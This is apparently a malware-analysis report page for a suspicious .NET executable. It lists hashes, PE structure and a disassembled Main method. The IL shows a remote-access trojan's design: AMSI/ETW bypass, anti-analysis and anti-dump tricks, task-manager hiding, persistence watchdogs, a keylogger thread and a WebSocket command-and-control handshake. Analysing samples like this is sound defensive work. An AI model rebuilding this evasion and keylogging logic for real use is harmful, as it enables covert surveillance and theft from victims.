Suspicious
Suspect

acfdfb4e5d4716d977df424ff4979b17

PE Executable
MD5: acfdfb4e5d4716d977df424ff4979b17
Size: 588.8 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
MD5 acfdfb4e5d4716d977df424ff4979b17
Sha1 f68142ec1046f459f8b837cf8021669826f708b5
Sha256 7e395c997a9085c5be0a2f8997e834491f06fc02b85560bf23a9002afa4e8000
Sha384 aee324c0ef26264b38c7767f1c2d42a878dd1eaf5308ad378f4615a9c3b8318c3bb4b220169666c2ad1eaea2fbb5ae6f
Sha512 85506f69d04a6dda240f5be73bfc69f9eaba2bfad0a2b2e035c057575f99a4261a035f7c5c1d70bf8ceecf8f6d8644b65fe1a5db19f0f0d435a6bfbf0460d82b
SSDeep 6144:F1Lvp4KmmxUs7ZSn6diWpxP9b4/gqNFfELc2wKvS6Xa1lTJNwibWmKSbizhbYL6H:F1d4c7Z1diWi4ESGwkWYE5y
TLSH C4C48D30B2D54D3BC3DF097E186C0A6DBD7058C78253E9085459B6FAAA01B6197BCBF2
acfdfb4e5d4716d977df424ff4979b17
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Crypter_By_Shizo.Properties.Resources.resources
WingdingsStub.Properties.Resources.resources
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
client_build.exe
Full Name
client_build.exe
EntryPoint
System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::Main(System.String[])
Scope Name
client_build.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
client_build
Assembly Version
30.0.102.7432
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
1423
Main Method
System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::Main(System.String[])
Main IL Instruction Count
405
Main IL 
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.UnhandledExceptionEventHandler NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<>9__96_0
dup <null>
brtrue.s IL_0024: callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
pop <null>
ldsfld NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<>9
ldftn System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<Main>b__96_0(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.UnhandledExceptionEventHandler NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<>9__96_0
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::EnsureInstalledAndDisguised()
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_AMSI_ETW_BYPASS
brfalse.s IL_003A: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_ANTI_DUMP
call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::SecInitXtqCANNdhj()
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_ANTI_DUMP
brfalse.s IL_0046: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_PROCESS_SHIELD
call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::WipePeHeaderInMemory()
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_PROCESS_SHIELD
brfalse.s IL_0052: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_SINGLE_INSTANCE
call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::ApplyProcessShield()
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_SINGLE_INSTANCE
brfalse.s IL_0065: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_ANTI_ANALYSIS
call System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::CheckSingleInstance()
brtrue.s IL_0065: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_ANTI_ANALYSIS
leave IL_04B1: ret
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_ANTI_ANALYSIS
brfalse.s IL_0078: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_HIDE_CONSOLE
call System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::CheckAntiAnalysis()
brfalse.s IL_0078: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_HIDE_CONSOLE
leave IL_04B1: ret
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_HIDE_CONSOLE
brfalse.s IL_009A: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_FAKE_ERROR
call System.IntPtr NsAppXQzxpyXW.ProgAimoaQWypTyIzg::GetConsoleWindow()
stloc.0 <null>
ldloc.0 <null>
ldsfld System.IntPtr System.IntPtr::Zero
call System.Boolean System.IntPtr::op_Inequality(System.IntPtr,System.IntPtr)
brfalse.s IL_009A: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_FAKE_ERROR
ldloc.0 <null>
ldc.i4.0 <null>
call System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::ShowWindow(System.IntPtr,System.Int32)
pop <null>
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_FAKE_ERROR
brfalse.s IL_00D1: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_MULTIPLE_PERSISTENCE
ldsfld System.Threading.ThreadStart NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<>9__96_1
dup <null>
brtrue.s IL_00C0: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldsfld NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<>9
ldftn System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<Main>b__96_1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<>9__96_1
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_MULTIPLE_PERSISTENCE
brtrue.s IL_00DF: ldsfld System.Threading.ThreadStart NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<>9__96_2
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_AUTORUN
brfalse.s IL_010F: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_PROCESS_MORPH
ldsfld System.Threading.ThreadStart NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<>9__96_2
dup <null>
brtrue.s IL_00FE: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldsfld NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<>9
ldftn System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<Main>b__96_2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>c::<>9__96_2
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_PROCESS_MORPH
brfalse.s IL_011B: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_HIDE_TASKMGR
call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::ProcessMorphing()
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_HIDE_TASKMGR
brfalse.s IL_014E: ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_CRITICAL_PROCESS
ldsfld System.Threading.ThreadStart NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>O::<1>__TaskmgrHidingLoop
dup <null>
brtrue.s IL_013D: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldnull <null>
ldftn System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::TaskmgrHidingLoop()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>O::<1>__TaskmgrHidingLoop
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Boolean NsAppXQzxpyXW.ProgAimoaQWypTyIzg::FEATURE_CRITICAL_PROCESS
brfalse.s IL_015A: call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::StartSelfRelaunchWatchdog()
call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::EnableCriticalProcess()
call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::StartSelfRelaunchWatchdog()
call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::StartWatchdog()
ldsfld System.Threading.ThreadStart NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>O::<2>__KeyloggerLoop
dup <null>
brtrue.s IL_017F: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldnull <null>
ldftn System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::KeyloggerLoop()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart NsAppXQzxpyXW.ProgAimoaQWypTyIzg/<>O::<2>__KeyloggerLoop
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
leave.s IL_0195: nop
pop <null>
leave.s IL_0195: nop
nop <null>
call System.String[] NsAppXQzxpyXW.ProgAimoaQWypTyIzg::get_SERVER_CANDIDATES()
stloc.1 <null>
ldloc.1 <null>
brfalse.s IL_01A3: ldc.i4.1
ldloc.1 <null>
ldlen <null>
brtrue.s IL_01B2: ldc.i4.0
ldc.i4.1 <null>
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr 127.0.0.1
stelem.ref <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
ldloc.1 <null>
stloc.3 <null>
ldc.i4.0 <null>
stloc.s V_4
br IL_0493: ldloc.s V_4
ldloc.3 <null>
ldloc.s V_4
ldelem.ref <null>
stloc.s V_5
ldloc.s V_5
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue IL_048D: ldloc.s V_4
newobj System.Void System.Collections.Generic.List`1<System.String>::.ctor()
stloc.s V_6
ldloc.s V_5
callvirt System.String System.String::Trim()
stloc.s V_7
ldloc.s V_7
ldstr http://
ldc.i4.5 <null>
callvirt System.Boolean System.String::StartsWith(System.String,System.StringComparison)
brfalse.s IL_0241: ldloc.s V_7
ldloc.s V_7
ldc.i4.7 <null>
callvirt System.String System.String::Substring(System.Int32)
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 47
stelem.i2 <null>
callvirt System.String System.String::TrimEnd(System.Char[])
stloc.s V_8
ldloc.s V_8
ldstr :
callvirt System.Boolean System.String::Contains(System.String)
brtrue.s IL_0225: ldloc.s V_8
ldloc.s V_8
ldstr :8080
call System.String System.String::Concat(System.String,System.String)
br.s IL_0227: stloc.s V_9
ldloc.s V_8
stloc.s V_9
ldloc.s V_6
ldstr ws://
ldloc.s V_9
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
br IL_030E: ldloc.s V_6
ldloc.s V_7
ldstr https://
ldc.i4.5 <null>
callvirt System.Boolean System.String::StartsWith(System.String,System.StringComparison)
brfalse.s IL_02B2: ldloc.s V_7
ldloc.s V_7
ldc.i4.8 <null>
callvirt System.String System.String::Substring(System.Int32)
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 47
stelem.i2 <null>
callvirt System.String System.String::TrimEnd(System.Char[])
stloc.s V_10
ldloc.s V_10
ldstr :
callvirt System.Boolean System.String::Contains(System.String)
brtrue.s IL_0286: ldloc.s V_10
ldloc.s V_10
ldstr :8080
call System.String System.String::Concat(System.String,System.String)
br.s IL_0288: stloc.s V_11
ldloc.s V_10
stloc.s V_11
ldloc.s V_6
ldstr wss://
ldloc.s V_10
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
ldloc.s V_6
ldstr ws://
ldloc.s V_11
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
br.s IL_030E: ldloc.s V_6
ldloc.s V_7
ldstr ws://
ldc.i4.5 <null>
callvirt System.Boolean System.String::StartsWith(System.String,System.StringComparison)
brtrue.s IL_02D0: ldloc.s V_6
ldloc.s V_7
ldstr wss://
ldc.i4.5 <null>
callvirt System.Boolean System.String::StartsWith(System.String,System.StringComparison)
brfalse.s IL_02DB: ldloc.s V_7
ldloc.s V_6
ldloc.s V_7
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
br.s IL_030E: ldloc.s V_6
ldloc.s V_7
ldstr :
callvirt System.Boolean System.String::Contains(System.String)
brtrue.s IL_02F7: ldloc.s V_7
ldloc.s V_7
ldstr :8080
call System.String System.String::Concat(System.String,System.String)
br.s IL_02F9: stloc.s V_12
ldloc.s V_7
stloc.s V_12
ldloc.s V_6
ldstr ws://
ldloc.s V_12
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
ldloc.s V_6
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.s V_13
br IL_046E: ldloca.s V_13
ldloca.s V_13
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.s V_14
newobj System.Void System.Net.WebSockets.ClientWebSocket::.ctor()
stloc.s V_15
ldloc.s V_15
callvirt System.Net.WebSockets.ClientWebSocketOptions System.Net.WebSockets.ClientWebSocket::get_Options()
ldc.r8 5
call System.TimeSpan System.TimeSpan::FromSeconds(System.Double)
callvirt System.Void System.Net.WebSockets.ClientWebSocketOptions::set_KeepAliveInterval(System.TimeSpan)
ldloc.s V_15
callvirt System.Net.WebSockets.ClientWebSocketOptions System.Net.WebSockets.ClientWebSocket::get_Options()
ldstr User-Agent
ldstr Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
callvirt System.Void System.Net.WebSockets.ClientWebSocketOptions::SetRequestHeader(System.String,System.String)
leave.s IL_0361: ldc.i4 8000
pop <null>
leave.s IL_0361: ldc.i4 8000
ldc.i4 8000
newobj System.Void System.Threading.CancellationTokenSource::.ctor(System.Int32)
stloc.s V_16
ldloc.s V_14
newobj System.Void System.Uri::.ctor(System.String)
stloc.s V_17
ldloc.s V_15
ldloc.s V_17
ldloc.s V_16
callvirt System.Threading.CancellationToken System.Threading.CancellationTokenSource::get_Token()
callvirt System.Threading.Tasks.Task System.Net.WebSockets.ClientWebSocket::ConnectAsync(System.Uri,System.Threading.CancellationToken)
callvirt System.Void System.Threading.Tasks.Task::Wait()
ldloc.s V_15
callvirt System.Net.WebSockets.WebSocketState System.Net.WebSockets.WebSocket::get_State()
ldc.i4.2 <null>
bne.un IL_044A: leave.s IL_0458
ldc.i4.1 <null>
stloc.2 <null>
call System.String NsAppXQzxpyXW.ProgAimoaQWypTyIzg::GetMachineHWID()
stloc.s V_18
call System.DateTime System.DateTime::get_UtcNow()
ldc.i4 1970
ldc.i4.1 <null>
ldc.i4.1 <null>
ldc.i4.0 <null>
ldc.i4.0 <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
newobj System.Void System.DateTime::.ctor(System.Int32,System.Int32,System.Int32,System.Int32,System.Int32,System.Int32,System.DateTimeKind)
call System.TimeSpan System.DateTime::op_Subtraction(System.DateTime,System.DateTime)
stloc.s V_23
ldloca.s V_23
call System.Double System.TimeSpan::get_TotalSeconds()
conv.i8 <null>
stloc.s V_19
call System.String NsAppXQzxpyXW.ProgAimoaQWypTyIzg::get_OWNER_TOKEN()
ldloc.s V_18
ldloc.s V_19
call System.String NsAppXQzxpyXW.ProgAimoaQWypTyIzg::get_HANDSHAKE_SECRET()
call System.String NsAppXQzxpyXW.ProgAimoaQWypTyIzg::ComputeHandshakeSig(System.String,System.String,System.Int64,System.String)
stloc.s V_20
ldc.i4.7 <null>
newarr System.String
dup <null>
ldc.i4.0 <null>
call System.String NsAppXQzxpyXW.ProgAimoaQWypTyIzg::get_OWNER_TOKEN()
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldloc.s V_18
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldloca.s V_19
call System.String System.Int64::ToString()
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldloc.s V_20
stelem.ref <null>
call System.String System.String::Concat(System.String[])
stloc.s V_21
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.s V_21
callvirt System.Byte[] System.Text.Encoding::GetBytes(System.String)
stloc.s V_22
ldloc.s V_15
ldc.i4.0 <null>
ldloc.s V_22
call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::SendData(System.Net.WebSockets.ClientWebSocket,System.Byte,System.Byte[])
br.s IL_043E: ldloc.s V_15
ldloc.s V_15
call System.Void NsAppXQzxpyXW.ProgAimoaQWypTyIzg::HandleCommand(System.Net.WebSockets.ClientWebSocket)
ldloc.s V_15
callvirt System.Net.WebSockets.WebSocketState System.Net.WebSockets.WebSocket::get_State()
ldc.i4.2 <null>
beq.s IL_0437: ldloc.s V_15
leave.s IL_047A: leave.s IL_048A
leave.s IL_0458: leave.s IL_0466
ldloc.s V_16
brfalse.s IL_0457: endfinally
ldloc.s V_16
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0466: leave.s IL_046B
ldloc.s V_15
brfalse.s IL_0465: endfinally
ldloc.s V_15
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_046B: ldloc.2
pop <null>
leave.s IL_046B: ldloc.2
ldloc.2 <null>
brtrue.s IL_047A: leave.s IL_048A
ldloca.s V_13
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_031C: ldloca.s V_13
leave.s IL_048A: ldloc.2
ldloca.s V_13
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.2 <null>
brtrue.s IL_049D: leave.s IL_04A2
ldloc.s V_4
ldc.i4.1 <null>
add <null>
stloc.s V_4
ldloc.s V_4
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
blt IL_01BE: ldloc.3
leave.s IL_04A2: ldc.i4 5000
pop <null>
leave.s IL_04A2: ldc.i4 5000
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br IL_0195: nop
ret <null>
acfdfb4e5d4716d977df424ff4979b17
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Crypter_By_Shizo.Properties.Resources.resources
WingdingsStub.Properties.Resources.resources
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙